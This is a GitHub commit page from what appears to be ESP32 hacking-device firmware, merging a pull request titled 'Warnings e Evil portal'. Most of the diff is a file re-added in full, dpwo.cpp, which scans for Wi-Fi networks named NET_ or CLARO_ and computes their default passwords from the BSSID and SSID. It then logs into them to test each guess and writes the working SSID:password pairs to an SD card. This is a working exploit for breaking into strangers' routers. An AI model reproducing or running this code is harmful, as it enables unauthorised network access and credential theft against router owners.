Skip to content

Commit

Permalink
Merge pull request #9 from bmorcelli/main
Browse files Browse the repository at this point in the history
Warnings e Evil portal
  • Loading branch information
pr3y authored May 8, 2024
2 parents a43866c + bb95e49 commit 764483c
Show file tree
Hide file tree
Showing 7 changed files with 365 additions and 151 deletions.
3 changes: 2 additions & 1 deletion src/display.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -119,7 +119,7 @@ void displayRedStripe(String text, uint16_t fgcolor, uint16_t bgcolor) {
void displayError(String txt) { displayRedStripe(txt); }
void displayWarning(String txt) { displayRedStripe(txt, TFT_BLACK,TFT_YELLOW); }
void displayInfo(String txt) { displayRedStripe(txt, TFT_WHITE, TFT_BLUE); }
void displaySuccess(String txt) { displayRedStripe(txt, TFT_WHITE, TFT_GREEN); }
void displaySuccess(String txt) { displayRedStripe(txt, TFT_WHITE, TFT_DARKGREEN); }

/*********************************************************************
** Function: loopOptions
Expand Down Expand Up @@ -244,6 +244,7 @@ void drawOptions(int index,const std::vector<std::pair<std::string, std::functio
***************************************************************************************/
void drawSubmenu(int index,const std::vector<std::pair<std::string, std::function<void()>>>& options, String system) {
int menuSize = options.size();

menu_op.deleteSprite();
menu_op.createSprite(WIDTH - 20, HEIGHT - 35);
menu_op.setTextColor(FGCOLOR,BGCOLOR);
Expand Down
278 changes: 139 additions & 139 deletions src/dpwo.cpp
Original file line number Diff line number Diff line change
@@ -1,139 +1,139 @@
/*
Port of DPWO for ESP32 by pr3y
Originally from https://github.com/caioluders/DPWO
saves login creds on SD mounted card
*/
#include <WiFi.h>
#include <regex>

#define SD_CREDS_PATH "/dpwo_creds.txt"

#include "globals.h"
#include "dpwo.h"

int ap_scanned = 0;

void parse_BSSID(char* bssid_without_colon, const char* bssid) {
int j = 0;
for (int i = 0; i < strlen(bssid); ++i) {
if (bssid[i] != ':') {
bssid_without_colon[j++] = bssid[i];
}
}
bssid_without_colon[j] = '\0';
}

void net_ap(int i) {
char bssid_without_colon[18];
parse_BSSID(bssid_without_colon, WiFi.BSSIDstr(i).c_str());
Serial.println("MAC addr");
Serial.println(bssid_without_colon);

char *bssid_ready = bssid_without_colon + 4;
bssid_ready[strlen(bssid_ready)-2] = '\0';
int ssid_length = WiFi.SSID(i).length();
if (ssid_length >= 2) {
String last_two = WiFi.SSID(i).substring(ssid_length - 2);
strcat(bssid_ready, last_two.c_str());
} else {
Serial.println("ERROR");
}
WiFi.begin(WiFi.SSID(i).c_str(), bssid_ready);
// TODO: Dont depend on delays and compare the wifi status other way :P
delay(2000);
while (WiFi.status() != WL_CONNECTED) {
Serial.println("\nNOPE");
WiFi.disconnect();
return;
}
Serial.println("\nWiFi Connected");
WiFi.disconnect();
#if defined(SDCARD)
appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
Serial.println("\nWrote creds to SD");
#endif
tft.setTextSize(1);
tft.setTextColor(FGCOLOR-0x2000);
tft.println(String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
}

void claro_ap(int i) {
char bssid_without_colon[18];
parse_BSSID(bssid_without_colon, WiFi.BSSIDstr(i).c_str());
Serial.println("MAC addr");
Serial.println(bssid_without_colon);

char *bssid_ready = bssid_without_colon + 4;
bssid_ready[strlen(bssid_ready)-2] = '\0';
int ssid_length = WiFi.SSID(i).length();
WiFi.begin(WiFi.SSID(i).c_str(), bssid_ready);
delay(2000);
while (WiFi.status() != WL_CONNECTED) {
Serial.println("\nNOPE");
WiFi.disconnect();
return;
}
Serial.println("\nWiFi Connected");
WiFi.disconnect();
#if defined(SDCARD)
appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
Serial.println("\nWrote creds to SD");
#endif
tft.setTextSize(1);
tft.setTextColor(FGCOLOR-0x2000);
tft.println(String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
}


void dpwo_setup() {
// tft.clear();
tft.fillScreen(BGCOLOR);
tft.setCursor(0, 0);
Serial.println("Scanning for DPWO...");
WiFi.mode(WIFI_STA);
ap_scanned = WiFi.scanNetworks();
Serial.println(ap_scanned);

tft.setTextColor(FGCOLOR-0x2000);
tft.println("Scanning for DPWO...");

if (ap_scanned == 0) {
tft.println("no networks found");
} else {

//TODO: add different functions to match Copel and Vivo regex on SSID also
std::regex net_regex("NET_.*");
std::regex claro_regex("CLARO_.*");


//TODO: dont repeat the wifi connection process inside each function, instead work on this loop

for (int i = 0; i < ap_scanned; ++i) {
if (std::regex_search(WiFi.SSID(i).c_str(), net_regex)) {
net_ap(i);
Serial.println("NET SSID");
} else if (std::regex_search(WiFi.SSID(i).c_str(), claro_regex)) {
claro_ap(i);
Serial.println(WiFi.SSID(i));
Serial.println("CLARO SSID");

} else {
Serial.println("not vuln");
Serial.println(WiFi.SSID(i));

}


}


}
Serial.println("scanning again");
ap_scanned = WiFi.scanNetworks();

//TODO: append vulnerable APs and dont repeat the output inside a loop
tft.fillScreen(BGCOLOR);

}
/*
Port of DPWO for ESP32 by pr3y
Originally from https://github.com/caioluders/DPWO
saves login creds on SD mounted card
*/
#include <WiFi.h>
#include <regex>

#define SD_CREDS_PATH "/dpwo_creds.txt"

#include "globals.h"
#include "dpwo.h"

int ap_scanned = 0;

void parse_BSSID(char* bssid_without_colon, const char* bssid) {
int j = 0;
for (int i = 0; i < strlen(bssid); ++i) {
if (bssid[i] != ':') {
bssid_without_colon[j++] = bssid[i];
}
}
bssid_without_colon[j] = '\0';
}

void net_ap(int i) {
char bssid_without_colon[18];
parse_BSSID(bssid_without_colon, WiFi.BSSIDstr(i).c_str());
Serial.println("MAC addr");
Serial.println(bssid_without_colon);

char *bssid_ready = bssid_without_colon + 4;
bssid_ready[strlen(bssid_ready)-2] = '\0';
int ssid_length = WiFi.SSID(i).length();
if (ssid_length >= 2) {
String last_two = WiFi.SSID(i).substring(ssid_length - 2);
strcat(bssid_ready, last_two.c_str());
} else {
Serial.println("ERROR");
}
WiFi.begin(WiFi.SSID(i).c_str(), bssid_ready);
// TODO: Dont depend on delays and compare the wifi status other way :P
delay(2000);
while (WiFi.status() != WL_CONNECTED) {
Serial.println("\nNOPE");
WiFi.disconnect();
return;
}
Serial.println("\nWiFi Connected");
WiFi.disconnect();
#if defined(SDCARD)
appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
Serial.println("\nWrote creds to SD");
#endif
tft.setTextSize(1);
tft.setTextColor(FGCOLOR-0x2000);
tft.println(String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
}

void claro_ap(int i) {
char bssid_without_colon[18];
parse_BSSID(bssid_without_colon, WiFi.BSSIDstr(i).c_str());
Serial.println("MAC addr");
Serial.println(bssid_without_colon);

char *bssid_ready = bssid_without_colon + 4;
bssid_ready[strlen(bssid_ready)-2] = '\0';
int ssid_length = WiFi.SSID(i).length();
WiFi.begin(WiFi.SSID(i).c_str(), bssid_ready);
delay(2000);
while (WiFi.status() != WL_CONNECTED) {
Serial.println("\nNOPE");
WiFi.disconnect();
return;
}
Serial.println("\nWiFi Connected");
WiFi.disconnect();
#if defined(SDCARD)
appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
Serial.println("\nWrote creds to SD");
#endif
tft.setTextSize(1);
tft.setTextColor(FGCOLOR-0x2000);
tft.println(String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
}


void dpwo_setup() {
// tft.clear();
tft.fillScreen(BGCOLOR);
tft.setCursor(0, 0);
Serial.println("Scanning for DPWO...");
WiFi.mode(WIFI_STA);
ap_scanned = WiFi.scanNetworks();
Serial.println(ap_scanned);

tft.setTextColor(FGCOLOR-0x2000);
tft.println("Scanning for DPWO...");

if (ap_scanned == 0) {
tft.println("no networks found");
} else {

//TODO: add different functions to match Copel and Vivo regex on SSID also
std::regex net_regex("NET_.*");
std::regex claro_regex("CLARO_.*");


//TODO: dont repeat the wifi connection process inside each function, instead work on this loop

for (int i = 0; i < ap_scanned; ++i) {
if (std::regex_search(WiFi.SSID(i).c_str(), net_regex)) {
net_ap(i);
Serial.println("NET SSID");
} else if (std::regex_search(WiFi.SSID(i).c_str(), claro_regex)) {
claro_ap(i);
Serial.println(WiFi.SSID(i));
Serial.println("CLARO SSID");

} else {
Serial.println("not vuln");
Serial.println(WiFi.SSID(i));

}


}


}
Serial.println("scanning again");
ap_scanned = WiFi.scanNetworks();

//TODO: append vulnerable APs and dont repeat the output inside a loop
tft.fillScreen(BGCOLOR);

}
18 changes: 9 additions & 9 deletions src/dpwo.h
Original file line number Diff line number Diff line change
@@ -1,9 +1,9 @@
#include "display.h"

void parse_BSSID(char* bssid_without_colon, const char* bssid);

void net_ap(int i);

void claro_ap(int i);

void dpwo_setup();
#include "display.h"

void parse_BSSID(char* bssid_without_colon, const char* bssid);

void net_ap(int i);

void claro_ap(int i);

void dpwo_setup();
Loading

0 comments on commit 764483c

Please sign in to comment.